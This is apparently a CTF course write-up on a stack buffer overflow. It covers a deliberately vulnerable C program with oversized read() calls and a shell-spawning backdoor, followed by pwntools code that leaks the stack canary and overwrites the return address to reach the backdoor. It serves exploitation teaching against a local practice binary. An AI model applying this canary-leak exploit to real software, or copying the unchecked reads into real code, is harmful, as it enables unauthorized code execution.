Simple Buffer Overflow - 0x05(Leak Canary)
tags: CTF
PWN
eductf
Canary Background
Original Code
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void backdoor()
{
system("/bin/sh");
}
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
char name[0x10];
char phone[0x10];
printf("What's your name: ");
read(0, name, 0x100);
printf("Hello, %s !", name);
printf("What's your phone number: ");
read(0, phone, 0x100);
return 0;
}
- Note that, if you establish the code yourself, you must turn off the protection by the command below and use
checksec
to observe the protectiongcc -o bof2_leak_canary bof2_leak_canary.c -zexecstack -no-pie -z norelro
Exploit
- First, we can use
objdump -d -M Intel {filename}
to check the address of backdoor →0x4011b6
- However, we observe the backdoor function, it just call
system
instead ofexecsv
. So, that you may encounter some error because of non-alignment. The solution is skip thepush %rbp
instruction and just jump to `0x4011bb`- The detailed description can refer to lecture video
- Then we can construct a part of the payload below:
from pwn import * context.arch = 'amd64' r = process('./bof2_leak_canary') raw_input() no_push_rbp_backdoor_addr = 0x4011bb
- Then we have to overlap
name
variable andphone
variable with length0x20
. In addition, the compiler will align 8 bytes, we should overlap it as well. Moreover, the last byte ofcanary
is always0x00
, then if we’d like to print outcanary
value, we should overlap it as well.(In pwntools,recvuntil
function default consider0x00
is a new line)r.sendafter("What's your name: ", b'a' * 0x29) #0x20 → name + phone / 0x08 for compiler alinment / 0x01 for canary last byte r.recvuntil('a'*0x29) canary = u64(b'\x00' + r.recv(7)) print("canary: ", hex(canary))
- Final step, we do what we done before to overlap padding +
phone
variable(0x18)
+ original canary(0x08)
+ original$rbp
(0x08)
+ overlap$rip
to backdoor.r.sendafter("What's your phone number: ", b'a' * 0x18 + p64(canary) + p64(0xdeadbeef) + p64(no_push_rbp_backdoor_addr))
- The whole payload is shown as below:
from pwn import * context.arch = 'amd64' r = process('./bof2_leak_canary') raw_input() no_push_rbp_backdoor_addr = 0x4011bb r.sendafter("What's your name: ", b'a' * 0x29) #0x20 → name + phone / 0x08 for compiler alinment / 0x01 for canary last byte r.recvuntil('a'*0x29) canary = u64(b'\x00' + r.recv(7)) print("canary: ", hex(canary)) r.sendafter("What's your phone number: ", b'a' * 0x18 + p64(canary) + p64(0xdeadbeef) + p64(no_push_rbp_backdoor_addr))
- Then we got shell
Analysis
- About how to print canary:
Use
gdb
and execute to the firstprint
, you can see that the stack structure.And we can print canary value from payload program → `0xdf38469d4e106500`
- Note that we can get
tls
address and+0x28
to compare with canary value
- Note that we can get